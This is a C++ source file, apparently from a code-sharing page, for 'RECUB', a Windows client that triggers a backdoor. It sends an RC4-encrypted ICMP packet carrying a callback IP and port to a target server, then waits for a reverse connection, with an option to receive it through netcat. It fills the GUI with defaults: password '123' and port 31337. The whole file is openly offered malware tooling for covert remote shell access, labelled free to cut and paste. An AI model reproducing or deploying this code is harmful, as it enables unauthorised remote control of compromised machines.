📄 recubclient.cpp
字号:
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
// //
// RECUB //
// By Hirosh //
// www.hirosh.net //
// www.eos-india.net //
// //
//Thanks for starch at http://mir-os.sourceforge.net For the idea,I started this by //
//porting his version in linux to win32,after some time i stoped porting bc i prefer //
//a small EXE heheh..,and thanks to NC source too.. //
// //
// No CopyRights - Feel Free to Cut & Paste //
// //
// //
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include <Winsock2.h>
#include "crypt.h"
#include "icmp.h"
#include "serv.h"
#include "resource.h"
HBRUSH hhb;
LRESULT CALLBACK DlgProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
hhb=CreateSolidBrush(RGB(0,00,215));
DialogBox(hInstance, (LPCTSTR)IDD_DIG1, 0, (DLGPROC)DlgProc);
return 0;
}
XData dat;
extern char srvip[100];
char pass[100];
extern int revport;
BOOL oneclick=FALSE;
LRESULT CALLBACK DlgProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
DWORD sdw;
switch (message)
{
case WM_CTLCOLORDLG:
return (long)hhb;
case WM_CTLCOLORSTATIC:
SetBkMode((HDC)wParam,TRANSPARENT);
SetTextColor((HDC)wParam,RGB(0,0,0));
return (long)hhb;
case WM_INITDIALOG:
CheckRadioButton(hDlg,IDC_RADNC,IDC_RADOWN,IDC_RADOWN);
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)LoadIcon(GetModuleHandle(0), MAKEINTRESOURCE(IDI_ICON1)));
SetWindowText(GetDlgItem(hDlg,IDC_EDSRVIP),GetLocalIP());
SetWindowText(GetDlgItem(hDlg,IDC_EDPASSS),"123");
SetWindowText(GetDlgItem(hDlg,IDC_EDPORT),"31337");
return TRUE;
case WM_COMMAND:
if (HIWORD(wParam) == BN_CLICKED) {
if (LOWORD(wParam) == IDC_RADNC) EnableWindow(GetDlgItem(hDlg,IDC_EDREVIP),TRUE);
if (LOWORD(wParam) == IDC_RADOWN) EnableWindow(GetDlgItem(hDlg,IDC_EDREVIP),FALSE);
}
if (LOWORD(wParam) == IDOK)
{
char reverceip[15];
BOOL nc=FALSE;
if(IsDlgButtonChecked(hDlg,IDC_RADNC)==BST_CHECKED){
nc=TRUE;
GetWindowText(GetDlgItem(hDlg,IDC_EDREVIP),reverceip,15);
}
else{
nc=FALSE;
lstrcpy(reverceip,GetLocalIP());
}
BOOL success;
GetWindowText(GetDlgItem(hDlg,IDC_EDSRVIP),srvip,100);
GetWindowText(GetDlgItem(hDlg,IDC_EDPASSS),pass,100);
revport=GetDlgItemInt(hDlg,IDC_EDPORT,&success,FALSE);
//revport=80;
ZeroMemory((LPVOID)&dat,sizeof(dat));
dat.start='c';
dat.end='c';
lstrcpy(dat.pass,"123");
lstrcpy(dat.ip,reverceip);
dat.port=revport;
if(!nc)
EncryptRC4(pass,(char *)&dat,26);
if(!oneclick&&(!nc)){
oneclick=TRUE;
CreateThread( NULL, 0, ReciveConnectThread,NULL, 0, &sdw);
}
SendICMP(srvip,dat);
// SendICMP(srvip,dat);
return TRUE;
}
if (LOWORD(wParam) == IDCANCEL)
{
EndDialog(hDlg, LOWORD(wParam));
DeleteObject(hhb);
ExitProcess(0);
return TRUE;
}
}
return FALSE;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -